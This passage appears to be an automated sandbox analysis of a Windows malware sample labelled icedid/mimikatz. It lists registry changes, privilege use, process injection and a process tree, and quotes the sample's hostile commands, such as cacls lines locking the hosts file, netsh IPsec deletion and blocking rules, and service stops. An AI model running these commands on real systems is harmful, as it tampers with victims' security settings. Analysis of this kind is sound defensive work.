Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.execmd.exexohudmc.execmd.exenet1.exenet1.exenetsh.exenetsh.exenetsh.exe2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exenet1.exebiebucb.exenet.exenet1.exenetsh.execmd.exesc.execmd.execmd.exenetsh.exelvnuplabi.execacls.exenet.exenetsh.exenetsh.exenetsh.execmd.exesc.execmd.execmd.exenet.exenet1.execmd.exenetsh.exenetsh.execmd.execmd.exenetsh.exenetsh.exenet1.execmd.execmd.exenet.exesc.exePING.EXEnet.execmd.execmd.exenet1.exewooaom.exebiebucb.exenet1.execmd.exenet.exenet.execmd.exenet.exenetsh.exenet.execacls.exenet1.execmd.exenetsh.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	biebucb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lvnuplabi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wooaom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	biebucb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXE

pid process

2200 cmd.exe
2348 PING.EXE

pid	process
2200	cmd.exe
2348	PING.EXE

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
C:\Windows\ivwjddbm\biebucb.exe	nsis_installer_2
C:\Windows\yvccbdwlz\cttnbjmli\wpcap.exe	nsis_installer_1
C:\Windows\yvccbdwlz\cttnbjmli\wpcap.exe	nsis_installer_2

Modifies data under HKEY_USERS 43 IoCs

Processes:

ctkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exebiebucb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	biebucb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	biebucb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	biebucb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	biebucb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	biebucb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	biebucb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctkyggczb.exe

Modifies registry class 14 IoCs

Processes:

biebucb.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	biebucb.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2348 PING.EXE
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

928 schtasks.exe
3480 schtasks.exe
2924 schtasks.exe

pid	process
2348	PING.EXE

pid	process
928	schtasks.exe
3480	schtasks.exe
2924	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

biebucb.exe

pid	process
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe

Suspicious behavior: LoadsDriver 15 IoCs

Processes:

pid process

664
664
664
664
664
664
664
664
664
664
664
664
664
664
664
Suspicious behavior: RenamesItself 1 IoCs

Processes:

2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe

pid process

4188 2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe

pid	process
664
664
664
664
664
664
664
664
664
664
664
664
664
664
664

Suspicious use of AdjustPrivilegeToken 23 IoCs

Processes:

2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exebiebucb.exebiebucb.exevfshost.exectkyggczb.exeiljmvq.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exe

description	pid	process
Token: SeDebugPrivilege	4188	2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	4212	biebucb.exe
Token: SeDebugPrivilege	2012	biebucb.exe
Token: SeDebugPrivilege	228	vfshost.exe
Token: SeDebugPrivilege	3124	ctkyggczb.exe
Token: SeLockMemoryPrivilege	2276	iljmvq.exe
Token: SeLockMemoryPrivilege	2276	iljmvq.exe
Token: SeDebugPrivilege	2176	ctkyggczb.exe
Token: SeDebugPrivilege	3460	ctkyggczb.exe
Token: SeDebugPrivilege	1084	ctkyggczb.exe
Token: SeDebugPrivilege	1004	ctkyggczb.exe
Token: SeDebugPrivilege	5000	ctkyggczb.exe
Token: SeDebugPrivilege	2312	ctkyggczb.exe
Token: SeDebugPrivilege	3584	ctkyggczb.exe
Token: SeDebugPrivilege	456	ctkyggczb.exe
Token: SeDebugPrivilege	2552	ctkyggczb.exe
Token: SeDebugPrivilege	3536	ctkyggczb.exe
Token: SeDebugPrivilege	3836	ctkyggczb.exe
Token: SeDebugPrivilege	2916	ctkyggczb.exe
Token: SeDebugPrivilege	624	ctkyggczb.exe
Token: SeDebugPrivilege	4936	ctkyggczb.exe
Token: SeDebugPrivilege	512	ctkyggczb.exe
Token: SeDebugPrivilege	4308	ctkyggczb.exe

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exebiebucb.exebiebucb.exexohudmc.exewooaom.exebiebucb.exe

pid	process
4188	2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe
4188	2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe
4212	biebucb.exe
4212	biebucb.exe
2012	biebucb.exe
2012	biebucb.exe
2880	xohudmc.exe
1476	wooaom.exe
4768	biebucb.exe
4768	biebucb.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.execmd.exebiebucb.execmd.execmd.exewpcap.exenet.exenet.exenet.exe

description	pid	process	target process
PID 4188 wrote to memory of 2200	4188	2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe	cmd.exe
PID 4188 wrote to memory of 2200	4188	2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe	cmd.exe
PID 4188 wrote to memory of 2200	4188	2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe	cmd.exe
PID 2200 wrote to memory of 2348	2200	cmd.exe	PING.EXE
PID 2200 wrote to memory of 2348	2200	cmd.exe	PING.EXE
PID 2200 wrote to memory of 2348	2200	cmd.exe	PING.EXE
PID 2200 wrote to memory of 4212	2200	cmd.exe	biebucb.exe
PID 2200 wrote to memory of 4212	2200	cmd.exe	biebucb.exe
PID 2200 wrote to memory of 4212	2200	cmd.exe	biebucb.exe
PID 2012 wrote to memory of 4528	2012	biebucb.exe	cmd.exe
PID 2012 wrote to memory of 4528	2012	biebucb.exe	cmd.exe
PID 2012 wrote to memory of 4528	2012	biebucb.exe	cmd.exe
PID 4528 wrote to memory of 1380	4528	cmd.exe	cmd.exe
PID 4528 wrote to memory of 1380	4528	cmd.exe	cmd.exe
PID 4528 wrote to memory of 1380	4528	cmd.exe	cmd.exe
PID 4528 wrote to memory of 432	4528	cmd.exe	cacls.exe
PID 4528 wrote to memory of 432	4528	cmd.exe	cacls.exe
PID 4528 wrote to memory of 432	4528	cmd.exe	cacls.exe
PID 4528 wrote to memory of 4936	4528	cmd.exe	cmd.exe
PID 4528 wrote to memory of 4936	4528	cmd.exe	cmd.exe
PID 4528 wrote to memory of 4936	4528	cmd.exe	cmd.exe
PID 4528 wrote to memory of 4808	4528	cmd.exe	cacls.exe
PID 4528 wrote to memory of 4808	4528	cmd.exe	cacls.exe
PID 4528 wrote to memory of 4808	4528	cmd.exe	cacls.exe
PID 4528 wrote to memory of 1684	4528	cmd.exe	cmd.exe
PID 4528 wrote to memory of 1684	4528	cmd.exe	cmd.exe
PID 4528 wrote to memory of 1684	4528	cmd.exe	cmd.exe
PID 4528 wrote to memory of 1476	4528	cmd.exe	cacls.exe
PID 4528 wrote to memory of 1476	4528	cmd.exe	cacls.exe
PID 4528 wrote to memory of 1476	4528	cmd.exe	cacls.exe
PID 2012 wrote to memory of 4644	2012	biebucb.exe	netsh.exe
PID 2012 wrote to memory of 4644	2012	biebucb.exe	netsh.exe
PID 2012 wrote to memory of 4644	2012	biebucb.exe	netsh.exe
PID 2012 wrote to memory of 4204	2012	biebucb.exe	netsh.exe
PID 2012 wrote to memory of 4204	2012	biebucb.exe	netsh.exe
PID 2012 wrote to memory of 4204	2012	biebucb.exe	netsh.exe
PID 2012 wrote to memory of 1484	2012	biebucb.exe	netsh.exe
PID 2012 wrote to memory of 1484	2012	biebucb.exe	netsh.exe
PID 2012 wrote to memory of 1484	2012	biebucb.exe	netsh.exe
PID 2012 wrote to memory of 1620	2012	biebucb.exe	cmd.exe
PID 2012 wrote to memory of 1620	2012	biebucb.exe	cmd.exe
PID 2012 wrote to memory of 1620	2012	biebucb.exe	cmd.exe
PID 1620 wrote to memory of 1132	1620	cmd.exe	wpcap.exe
PID 1620 wrote to memory of 1132	1620	cmd.exe	wpcap.exe
PID 1620 wrote to memory of 1132	1620	cmd.exe	wpcap.exe
PID 1132 wrote to memory of 2184	1132	wpcap.exe	net.exe
PID 1132 wrote to memory of 2184	1132	wpcap.exe	net.exe
PID 1132 wrote to memory of 2184	1132	wpcap.exe	net.exe
PID 2184 wrote to memory of 1284	2184	net.exe	net1.exe
PID 2184 wrote to memory of 1284	2184	net.exe	net1.exe
PID 2184 wrote to memory of 1284	2184	net.exe	net1.exe
PID 1132 wrote to memory of 2632	1132	wpcap.exe	net.exe
PID 1132 wrote to memory of 2632	1132	wpcap.exe	net.exe
PID 1132 wrote to memory of 2632	1132	wpcap.exe	net.exe
PID 2632 wrote to memory of 3112	2632	net.exe	net1.exe
PID 2632 wrote to memory of 3112	2632	net.exe	net1.exe
PID 2632 wrote to memory of 3112	2632	net.exe	net1.exe
PID 1132 wrote to memory of 1476	1132	wpcap.exe	net.exe
PID 1132 wrote to memory of 1476	1132	wpcap.exe	net.exe
PID 1132 wrote to memory of 1476	1132	wpcap.exe	net.exe
PID 1476 wrote to memory of 2820	1476	net.exe	net1.exe
PID 1476 wrote to memory of 2820	1476	net.exe	net1.exe
PID 1476 wrote to memory of 2820	1476	net.exe	net1.exe
PID 1132 wrote to memory of 1944	1132	wpcap.exe	net.exe

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1692
- C:\Windows\TEMP\bzlikjnbm\iljmvq.exe
  "C:\Windows\TEMP\bzlikjnbm\iljmvq.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2276

C:\Users\Admin\AppData\Local\Temp\2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4188
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ivwjddbm\biebucb.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2348
- - C:\Windows\ivwjddbm\biebucb.exe
    C:\Windows\ivwjddbm\biebucb.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4212

C:\Windows\ivwjddbm\biebucb.exe
C:\Windows\ivwjddbm\biebucb.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2012
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1380
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:432
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4936
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4808
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1684
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1476
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4644
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4204
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1484
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\yvccbdwlz\cttnbjmli\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Windows\yvccbdwlz\cttnbjmli\wpcap.exe
    C:\Windows\yvccbdwlz\cttnbjmli\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:1132
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2184
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1284
  - - C:\Windows\SysWOW64\net.exe
